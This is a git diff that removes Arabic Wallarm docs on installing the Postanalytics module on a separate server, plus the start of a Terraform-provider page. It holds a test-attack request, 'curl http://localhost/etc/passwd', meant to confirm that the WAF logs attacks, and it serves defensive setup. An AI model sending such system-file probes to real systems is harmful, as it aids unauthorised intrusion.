افتراضي، تدلك تعليمات Wallarm لتثبيت كلا الوحدتين على نفس الخادم. - -## نظرة عامة - -يتألف معالجة الطلبات في وحدة Wallarm من مرحلتين: - -* المعالجة الأولية في وحدة NGINX-Wallarm، والتي لا تتطلب الذاكرة ويمكن تنفيذها على خوادم الواجهة الأمامية دون تغيير متطلبات الخادم. -* تحليل إحصاءات الطلبات المعالجة في وحدة Postanalytics التي تتطلب الذاكرة. - -المخططات أدناه تصور تواصل الوحدة في سيناريوين: عند التثبيت على نفس الخادم وعلى خوادم مختلفة. - -=== "NGINX-Wallarm وPostanalytics على خادم واحد" - ![تدفق المرور بين Postanalytics وNGINX-Wallarm](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-the-same-server.png) -=== "NGINX-Wallarm وPostanalytics على خوادم مختلفة" - ![تدفق المرور بين Postanalytics وNGINX-Wallarm](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-different-servers.png) - -## طرق التثبيت - -يمكنك تثبيت وحدة Postanalytics على خادم منفصل بطريقتين مختلفتين: - -* [باستخدام المثبت الشامل](#التثبيت-التلقائي-الشامل) (متاح ابتداءً من وحدة Wallarm 4.6) - يتم تلقائية العديد من الأنشطة ويجعل تنشيط وحدة Postanalytics أسهل بكثير. وبالتالي فإنها طريقة التثبيت الموصى بها. -* [يدويا](#التثبيت-اليدوي) - استخدم لأنواع العقد القديمة. - -عند تثبيت وحدة التصفية وPostanalytics بشكل منفصل، يمكنك دمج النهج اليدوي والتلقائي: قم بتثبيت الجزء Postanalytics يدويًا ثم الجزء المرشح باستخدام المثبت الشامل، والعكس: الجزء Postanalytics باستخدام المثبت الشامل ثم الجزء المرشح يدويًا. - -## التثبيت الآلي الشامل - -اعتبارًا من Wallarm العقدة 4.6، لتثبيت Postanalytics بشكل منفصل، يوصى باستخدام [التثبيت الشامل](../installation/nginx/all-in-one.md#launch-options) الذي يتم تلقائية الكثير من النشاطات ويجعل تنشيط وحدة Postanalytics أسهل بكثير. - -### المتطلبات - ---8<-- "../include/waf/installation/all-in-one/separate-postanalytics-reqs.md" - -### الخطوة 1: تنزيل المثبت Wallarm الشامل - -لتنزيل السكريبت المثبت Wallarm الشامل، قم بتنفيذ الأمر: - -=== "إصدار x86_64" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.x86_64-glibc.sh - ``` -=== "إصدار ARM64" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.aarch64-glibc.sh - ``` - -### الخطوة 2: تحضير الرمز المميز لـ Wallarm - -لتثبيت العقدة، سوف تحتاج إلى رمز Wallarm من [النوع المناسب][wallarm-token-types]. لتحضير رمز: - -=== "رمز API" - - 1. افتح Wallarm Console → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور المصدر `Deploy`. - 1. انسخ هذا الرمز. - -=== "رمز العقدة" - - 1. افتح Wallarm Console → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. افعل واحدًا من الأتى: - * أنشئ العقدة من نوع **Wallarm node** وانسخ الرمز المميز المولد. - * استخدم مجموعة العقد الموجودة - انسخ الرمز باستخدام قائمة العقد → **نسخ الرمز**. - -### الخطوة 3: تشغيل المثبت Wallarm الشامل لتثبيت Postanalytics - -لتثبيت Postanalytics بشكل منفصل باستخدام المثبت Wallarm الشامل، استخدم: - -=== "رمز API" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم الإصدار ARM64 - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh postanalytics - ``` - - يُحدد المتغير `WALLARM_LABELS` المجموعة التي سيتم إضافة العقدة إليها (تُستخدم لتجميع العقد منطقياً في واجهة Wallarm Console UI). - -=== "رمز العقدة" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم الإصدار ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh postanalytics - ``` - -### الخطوة 4: تكوين وحدة Postanalytics - -#### الموارد والذاكرة - -لتغيير كمية الذاكرة التي يستخدمها Tarantool، ابحث عن الإعداد `SLAB_ALLOC_ARENA` في ملف `/opt/wallarm/env.list`. يتم تعيينه لاستخدام 1 جيجا بايت افتراضيًا. إذا كنت بحاجة إلى تغيير هذا، يمكنك ضبط الرقم ليتوافق مع كمية الذاكرة التي يحتاجها في الواقع Tarantool. للحصول على مساعدة حول كم مقدار لتعيين، راجع [توصياتنا](configuration-guides/allocate-resources-for-node.md). - -لتغيير الذاكرة المخصصة: - -1. افتح الملف `/opt/wallarm/env.list` للتحرير: - - ```bash - sudo vim /opt/wallarm/env.list - ``` -1. ضع السمة `SLAB_ALLOC_ARENA` على حجم الذاكرة. يمكن أن يكون هذا القيمة عدد صحيح أو عائم (النقطة `.` هي فاصلة عشرية). مثلا: - - ``` - SLAB_ALLOC_ARENA=2.0 - ``` - -#### الاستضافة والمنفذ - -بشكل افتراضي، تم تعيين وحدة Postanalytics لقبول الاتصالات على كل عناوين IPv4 من المضيف (0.0.0.0) باستخدام المنفذ 3313. يُوصى بالاحتفاظ بالتهيئة الافتراضية ما لم يكن التغيير ضروريًا. - -ومع ذلك، إذا كنت بحاجة إلى تغيير التهيئة الافتراضية: - -1. افتح الملف `/opt/wallarm/env.list` للتحرير: - - ```bash - sudo vim /opt/wallarm/env.list - ``` -1. حدث قيم `HOST` و`PORT` حسب الضرورة. قم بتعريف المتغير `PORT` إذا لم يتم تحديده بالفعل، على سبيل المثال: - - ```bash - # tarantool - HOST=0.0.0.0 - PORT=3300 - ``` -1. افتح الملف `/opt/wallarm/etc/wallarm/node.yaml` للتحرير: - - ```bash - sudo vim /opt/wallarm/etc/wallarm/node.yaml - ``` -1. أدخل القيم `host` و`port` الجديدة للمعلمات `tarantool`، كما هو موضح أدناه: - - ```yaml - hostname: <اسم عقدة postanalytics> - uuid: - secret: <مفتاح السر لعقدة postanalytics> - tarantool: - host: '0.0.0.0' - port: 3300 - ``` - -### الخطوة 5: تمكين الاتصالات الواردة لوحدة Postanalytics - -تستخدم وحدة Postanalytics المنفذ 3313 بشكل افتراضي، ولكن بعض منصات السحابة قد تمنع الاتصالات الواردة على هذا المنفذ. - -لضمان الاندماج، سمح بالاتصالات الواردة على المنفذ 3313 أو المنفذ المخصص الخاص بك. هذه الخطوة أساسية للوحدة NGINX-Wallarm، التي تم تثبيتها بشكل منفصل، للتواصل مع مثيل Tarantool. - -### الخطوة 6: إعادة تشغيل خدمات Wallarm - -بعد إجراء التغييرات الضرورية، أعد تشغيل خدمات Wallarm على الجهاز الذي يستضيف وحدة Postanalytics لتطبيق التحديثات: - -``` -sudo systemctl restart wallarm.service -``` - -### الخطوة 7: تثبيت وحدة NGINX-Wallarm على خادم منفصل - -بمجرد تثبيت وحدة Postanalytics على الخادم المنفصل: - -1. قم بتثبيت وحدة NGINX-Wallarm على خادم مختلف وفقًا لـ [الدليل](../installation/nginx/all-in-one.md) المناسب. -1. عند إطلاق سكريبت التثبيت لوحدة NGINX-Wallarm على خادم منفصل، قم بتضمين الخيار `filtering`، على سبيل المثال: - - === "رمز API" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh filtering - - # إذا كنت تستخدم الإصدار ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh filtering - ``` - - يُحدد المتغير `WALLARM_LABELS` المجموعة التي سيتم إضافة العقدة إليها (تُستخدم لتجميع العقد منطقياً في واجهة Wallarm Console UI). - - === "رمز العقدة" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh filtering - - # إذا كنت تستخدم الإصدار ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh filtering - ``` - -### الخطوة 8: اتصال وحدة NGINX-Wallarm بوحدة Postanalytics - -على الجهاز الذي يحتوي على وحدة NGINX-Wallarm، في [ملف التهيئة](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) لـ NGINX، حدد عنوان الخادم لوحدة Postanalytics: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # omitted - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* يجب تحديد قيمة `max_conns` لكل من خوادم Tarantool العلوية لمنع إنشاء اتصالات زائدة. -* قيمة `keepalive` لا يجب أن تكون أقل من عدد خوادم Tarantool. - -بمجرد تغيير ملف التهيئة، أعد تشغيل NGINX / NGINX Plus على خادم وحدة NGINX-Wallarm: - -=== "ديبيان" - ```bash - sudo systemctl restart nginx - ``` -=== "أوبونتو" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -### الخطوة 9: تحقق من تفاعل وحدتي NGINX‑Wallarm وPostanalytics المنفصلتين - -للتحقق من تفاعل وحدتي NGINX‑Wallarm وPostanalytics المنفصلتين، يمكنك إرسال الطلب مع اختبار الهجوم إلى عنوان التطبيق المحمي: - -```bash -curl http://localhost/etc/passwd -``` - -إذا تم تكوين وحدتي NGINX‑Wallarm وPostanalytics المنفصلتين بشكل صحيح، سيتم تحميل الهجوم إلى سحابة Wallarm ويتم عرضه في قسم **الهجمات** في Wallarm Console: - -![الهجمات في الواجهة](../images/admin-guides/test-attacks-quickstart.png) - -إذا لم يتم تحميل الهجوم إلى السحابة، يرجى التحقق من عدم وجود أخطاء في تشغيل الخدمات: - -* تحليل سجلات وحدة Postanalytics - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/tarantool-out.log - ``` - - إذا كان هناك مثل هذا السجل `SystemError binary: failed to bind: Cannot assign requested address، make sure that the server accepts connection on specified address and port. -* على الخادم الذي يحتوي على وحدة NGINX‑Wallarm، قم بتحليل سجلات NGINX: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - إذا كان هناك السجل `[error] wallarm:
      connect() failed`, تأكد من أن عنوان وحدة postanalytics المنفصلة محدد بشكل صحيح في ملفات التهيئة لوحدة NGINX‑Wallarm وأن الخادم المنفصل لوحدة postanalytics يقبل الاتصال على العنوان والمنفذ المحددين. -* على الخادم الذي يحتوي على وحدة NGINX‑Wallarm، احصل على إحصاءات الطلبات المعالجة باستخدام الأمر أدناه وتأكد أن قيمة `tnt_errors` هي 0 - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [وصف جميع المعلمات المرجعة بواسطة خدمة الإحصائيات →](configure-statistics-service.md) - -## التثبيت اليدوي - -### المتطلبات - ---8<-- "../include/waf/installation/linux-packages/separate-postanalytics-reqs.md" - -### الخطوة 1: أضف مستودعات Wallarm - -تتم تثبيت وحدة Postanalytics، وكذلك وحدات Wallarm الأخرى، وتحدث من مستودعات Wallarm. لإضافة المستودعات، استخدم الأوامر المناسبة لمنصتك: - -=== "debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -### الخطوة 2: تثبيت حزم وحدة Postanalytics - -قم بتثبيت حزمة `wallarm-node-tarantool` من مستودع Wallarm لوحدة Postanalytics وقاعدة بيانات Tarantool: - -=== "ديبيان" - ```bash - sudo apt -y install --no-install-recommends wallarm-node-tarantool - ``` -=== "أوبونتو" - ```bash - sudo apt -y install --no-install-recommends wallarm-node-tarantool - ``` -=== "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum install -y wallarm-node-tarantool - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node-tarantool - ``` - -### الخطوة 3: ربط وحدة Postanalytics بسحابة Wallarm - -تتفاعل وحدة Postanalytics مع سحابة Wallarm. يتعين عليك إنشاء عقدة Wallarm لوحدة Postanalytics وربط هذه العقدة بالسحابة. عند الربط، يمكنك تعيين اسم العقدة Postanalytics، تحت الذي سيتم عرضه في واجهة Wallarm Console UI ووضع العقدة في **مجموعة العقدة** المناسبة (التي تُستخدم لتنظيم عقد منطقيًا في الواجهة الأمامية). يُوصى باستخدام نفس مجموعة العقدة للعقدة التي تعالج حركة البيانات الأولية وللعقدة التي تقوم بخطوة بعد التحليل. - -![العقد المجمعة](../images/user-guides/nodes/grouped-nodes.png) - -لتزويد العقدة بالوصول، يلزمك توليد رمز على جانب السحابة وتحديده على الجهاز الذي يحتوي على حزم العقدة. - -لربط العقدة بعد التحليل مع السحابة: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتشغيل السكريبت `register-node` على جهاز حيث تقوم بتثبيت العقدة التصفية: - - === "رمز API" - - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com --no-sync --no-sync-acl - ``` - - * `` هو القيمة المنسوخة من الرمز API مع الدور `Deploy`. - * يتم استخدام المعلمة `--labels 'group='` لوضع العقدة الخاصة بك في مجموعة العقدة `` (موجودة، أو، إذا لم تكن موجودة، ستُنشأ). - - === "رمز العقدة" - - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --no-sync --no-sync-acl - ``` - - * `` هو القيمة المنسوخة من رمز العقدة. - - * استخدم `-H us1.api.wallarm.com` للتثبيت في السحابة الأمريكية، وإزالة هذا الخيار للتثبيت في السحابة الأوروبية. - * قد تضيف `-n ` المعلمة لتعيين اسم مخصص لعينة العقدة الخاصة بك. سيكون الاسم النهائي للعينة: `HOST_NAME_NodeUUID`. - -### الخطوة 4: تحديث تكوين وحدة Postanalytics - -تقع ملفات تحكم وحدة Postanalytics في المسارات: - -* `/etc/default/wallarm-tarantool` لأنظمة التشغيل Debian و Ubuntu -* `/etc/sysconfig/wallarm-tarantool` لأنظمة التشغيل CentOS و Amazon Linux 2.0.2021x وأقل - -لفتح الملف في وضع التحرير، يرجى استخدام الأمر: - -=== "ديبيان" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "أوبونتو" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "CentOS or Amazon Linux 2.0.2021x وأقل" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "RHEL 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - -#### الذاكرة - -تستخدم وحدة Postanalytics التخزين في الذاكرة Tarantool. بالنسبة لبيئات الإنتاج، يوصى بامتلاك ذاكرة أكبر. إذا كنت تختبر العقدة Wallarm أو تمتلك حجم خادم صغير، فيمكن أن يكون الحجم الأقل كافيًا. - -يتم تعيين حجم الذاكرة المخصصة بالجيجا بايت عبر الأمر `SLAB_ALLOC_ARENA` في [ملف التهيئة `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool`](#4-update-postanalytics-module-configuration). يمكن أن تكون القيمة عددًا صحيحًا أو عائمًا (النقطة `.` هي فاصلة عشرية). - -تتم الإشارة إلى التوصيات المفصلة حول تخصيص الذاكرة لـ Tarantool في هذه [التعليمات](configuration-guides/allocate-resources-for-node.md). - -#### عنوان الخادم المنفصل لوحدة Postanalytics - -لتعيين عنوان الخادم المنفصل لوحدة Postanalytics: - -1. افتح الملف Tarantool في وضع التحرير: - - === "ديبيان" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "أوبونتو" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "RHEL 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. قم بإلغاء التعليق على متغيرات `HOST` و`PORT` واضبط لهم القيم التالية: - - ```bash - # العنوان والمنفذ للربط - HOST='0.0.0.0' - PORT=3313 - ``` -3. إذا تم إعداد ملف التهيئة لـ Tarantool لقبول الاتصالات على عناوين IP مختلفة عن `0.0.0.0` أو `127.0.0.1`، فيرجى توفير العناوين في `/etc/wallarm/node.yaml`: - - ```bash - hostname: <اسم عقدة postanalytics> - uuid: - secret: <مفتاح السر لعقدة postanalytics> - tarantool: - host: '<العنوان IP لـ Tarantool>' - port: 3313 - ``` - -### الخطوة 5: إعادة تشغيل خدمات Wallarm - -لتطبيق الإعدادات على وحدة Postanalytics: - -=== "ديبيان" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "أوبونتو" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -### الخطوة 6: تثبيت وحدة NGINX-Wallarm على خادم منفصل - -بمجرد تثبيت وحدة Postanalytics على الخادم المنفصل، قم بتثبيت وحدات Wallarm الأخرى على خادم مختلف. فيما يلي الروابط إلى التعليمات المناسبة وأسماء الحزم التي يجب تحديدها لتثبيت وحدة NGINX-Wallarm: - -* [NGINX مستقر](../installation/nginx/dynamic-module.md) - - في خطوة تثبيت الحزم، قم بتحديد `wallarm-node-nginx` و`nginx-module-wallarm`. -* [NGINX Plus](../installation/nginx-plus.md) - - في خطوة التثبيت، حدد `wallarm-node-nginx` و`nginx-plus-module-wallarm`. -* [NGINX المقدم من التفعيل](../installation/nginx/dynamic-module-from-distr.md) - - في خطوة التثبيت، حدد `wallarm-node-nginx` و`libnginx-mod-http-wallarm/nginx-mod-http-wallarm`. - ---8<-- "../include/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md" - -### الخطوة 7: ربط وحدة NGINX-Wallarm بوحدة Postanalytics - -على الجهاز الذي يحتوي على وحدة NGINX-Wallarm، في [ملف التهيئة](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) لـ NGINX، حدد عنوان الخادم لوحدة Postanalytics: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # omitted - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* يجب تحديد قيمة `max_conns` لكل من خوادم Tarantool العلوية لمنع إنشاء اتصالات زائدة. -* قيمة `keepalive` لا يجب أن تكون أقل من عدد خوادم Tarantool. -* السطر `# wallarm_tarantool_upstream wallarm_tarantool;` معلق بشكل افتراضي - يرجى حذف `#`. - -بمجرد تغيير ملف التهيئة، أعد تشغيل NGINX / NGINX Plus على خادم وحدة NGINX-Wallarm: - -=== "ديبيان" - ```bash - sudo systemctl restart nginx - ``` -=== "أوبونتو" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -### الخطوة 8: تحقق من تفاعل وحدتي NGINX‑Wallarm وPostanalytics المنفصلتين - -للتحقق من تفاعل وحدتي NGINX‑Wallarm وPostanalytics المنفصلتين، يمكنك إرسال الطلب مع اختبار الهجوم إلى عنوان التطبيق المحمي: - -```bash -curl http://localhost/etc/passwd -``` - -إذا تم تكوين وحدتي NGINX‑Wallarm وPostanalytics المنفصلتين بشكل صحيح، سيتم تحميل الهجوم إلى سحابة Wallarm ويتم عرضه في قسم **الهجمات** في Wallarm Console: - -![الهجمات في الواجهة](../images/admin-guides/test-attacks-quickstart.png) - -إذا لم يتم تحميل الهجوم إلى السحابة، يرجى التحقق من عدم وجود أخطاء في تشغيل الخدمات: - -* تأكد من أن خدمة postanalytics `wallarm-tarantool` في الحالة `active` - - ```bash - sudo systemctl status wallarm-tarantool - ``` - - ![wallarm-tarantool status][tarantool-status] -* تحليل سجلات وحدة Postanalytics - - ```bash - sudo cat /var/log/wallarm/tarantool.log - ``` - - إذا كان هناك مثل هذا السجل `SystemError binary: failed to bind: Cannot assign requested address`, تأكد من أن الخادم يقبل الاتصال على العنوان والمنفذ المحددين. -* على الخادم الذي يحتوي على وحدة NGINX‑Wallarm، قم بتحليل سجلات NGINX: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - إذا كان هناك السجل `[error] wallarm:
      connect() failed`, تأكد من أن عنوان وحدة postanalytics المنفصلة محدد بشكل صحيح في ملفات التهيئة لوحدة NGINX‑Wallarm وأن الخادم المنفصل لوحدة postanalytics يقبل الاتصال على العنوان والمنفذ المحددين. -* على الخادم الذي يحتوي على وحدة NGINX‑Wallarm، احصل على إحصاءات الطلبات المعالجة باستخدام الأمر أدناه وتأكد أن قيمة `tnt_errors` هي 0 - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [وصف جميع المعلمات المرجعة بواسطة خدمة الإحصائيات →](configure-statistics-service.md) - -## حماية وحدة Postanalytics - -!!! تحذير "حماية وحدة Postanalytics التي تم تثبيتها حديثًا" - نوصي بشدة بحماية وحدة Postanalytics التي تم تثبيتها حديثًا باستخدام جدار الحماية. خلاف ذلك، هناك خطر في الحصول على وصول غير مصرح به إلى الخدمة والذي قد يؤدي إلى: - - * الكشف عن معلومات حول الطلبات المعالجة - * إمكانية تنفيذ كود Lua وأوامر نظام التشغيل التعسفية - - يرجى ملاحظة أن مثل هذا الخطر لا يوجد إذا كانت وحدة Postanalytics تتوافق مع وحدة NGINX-Wallarm على نفس الخادم. هذا يعني أن وحدة Postanalytics ستستمع إلى المنفذ `3313`. - - **فيما يلي إعدادات جدار الحماية التي يجب تطبيقها على وحدة Postanalytics التي تم تثبيتها بشكل منفصل:** - - * السماح بحركة مرور HTTPS من وإلى خوادم API Wallarm، بحيث يمكن لوحدة Postanalytics التفاعل مع هذه الخوادم: - * `us1.api.wallarm.com` هو خادم API في السحابة الأمريكية Wallarm - * `api.wallarm.com` هو خادم API في السحابة الأوروبية Wallarm - * احصر الوصول إلى منفذ `3313` Tarantool عبر بروتوكولي TCP و UDP من خلال السماح بالاتصالات فقط من عناوين IP للعقد Wallarm التصفية. - -## استكشاف أخطاء Tarantool وإصلاحها - -[استكشاف الأخطاء في Tarantool وإصلاحها](../faq/tarantool.md) \ No newline at end of file diff --git a/docs/latest-ar/admin-en/managing/terraform-provider.md b/docs/latest-ar/admin-en/managing/terraform-provider.md deleted file mode 100644 index 7e201a780f..0000000000 --- a/docs/latest-ar/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1,139 +0,0 @@ -# إدارة Wallarm باستخدام Terraform - -إذا كنت تستخدم [Terraform](https://www.terraform.io/) لإدارة البنيات التحتية الخاصة بك، فقد تكون هذه خيارًا مريحًا لاستخدامه في إدارة Wallarm. يتيح [مزود Wallarm](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) لـ Terraform القيام بذلك. - -## المتطلبات - -* معرفة الأساسيات [Terraform](https://www.terraform.io/) -* الإصدار الثنائي من Terraform 0.15.5 أو أعلى -* حساب Wallarm في [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى الحساب بدور **المدير** [الدور](../../user-guides/settings/users.md#user-roles) في وحدة تحكم Wallarm في السحابة الأمريكية أو الأوروبية -* الوصول إلى `https://us1.api.wallarm.com` إذا كنت تعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` إذا كنت تعمل مع سحابة Wallarm الأوروبية. الرجاء التأكد من عدم حظر الوصول بواسطة جدار الحماية - -## تثبيت المزود - -1. انسخ وألصق في تكوين Terraform الخاص بك: - - ``` - terraform { - required_version = ">= 0.15.5" - - required_providers { - wallarm = { - source = "wallarm/wallarm" - version = "1.5.0" - } - } - } - - provider "wallarm" { - # خيارات التكوين - } - ``` - -1. قم بتشغيل `terraform init`. - -## ربط المزود بحساب Wallarm الخاص بك - -لربط مزود Terraform الخاص بـ Wallarm بحساب Wallarm الخاص بك في [السحابة الأمريKية](https://us1.my.wallarm.com/signup) أو [السحابة الأوروبية](https://my.wallarm.com/signup)، قم بتعيين بيانات اعتماد الوصول إلى API في تكوين Terraform الخاص بك: - -=== "السحابة الأمريKية" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://us1.api.wallarm.com" - # مطلوب فقط عند استخدام ميزة العديد من المستأجرين: - # client_id = - } - ``` -=== "السحابة الأوروبية" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://api.wallarm.com" - # مطلوب فقط عند استخدام ميزة العديد من المستأجرين: - # client_id = - } - ``` - -* `` يتيح الوصول إلى API لحساب Wallarm الخاص بك. [كيفية الحصول عليه →](../../user-guides/settings/api-tokens.md) -* `` هو معرّف المستأجر (العميل)؛ مطلوب فقط عند استخدام ميزة [العديد من المستأجرين](../../installation/multi-tenant/overview.md). خذ `id` (وليس `uuid`) كما هو موضح [هنا](../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api). - -راجع [التفاصيل](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) في وثائق مزود Wallarm. - -## إدارة Wallarm بالمزود - -مع مزود Wallarm، عبر Terraform يمكنك إدارة: - -* [العُقد](../../user-guides/nodes/nodes.md) في حسابك -* [التطبيقات](../../user-guides/settings/applications.md) -* [القواعد](../../user-guides/rules/rules.md) -* [المُشغلات](../../user-guides/triggers/triggers.md) -* عناوين IP في [القائمة السوداء](../../user-guides/ip-lists/overview.md)، [القائمة البيضاء](../../user-guides/ip-lists/overview.md) و[القائمة الرمادية](../../user-guides/ip-lists/overview.md) -* [المستخدمين](../../user-guides/settings/users.md) -* [التكاملات](../../user-guides/settings/integrations/integrations-intro.md) -* وضع [الترشيح العالمي](../../admin-en/configure-wallarm-mode.md) -* نطاق [الماسح](../../user-guides/scanner.md) -* [الثغرات الأمنية](../../user-guides/vulnerabilities.md) - -!!! معلومات "مزود Wallarm Terraform وعُقد CDN" - حاليًا لا يمكن إدارة [عُقد CDN](../../user-guides/nodes/cdn-node.md) عبر مزود Wallarm لـ Terraform. - -راجع كيفية تنفيذ العمليات المدرجة في [وثائق](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) مزود Wallarm. - -## مثال على الاستخدام - -أدناه مثال على تكوين Terraform لـ Wallarm: - -``` -provider "wallarm" { - api_token = "" - api_host = 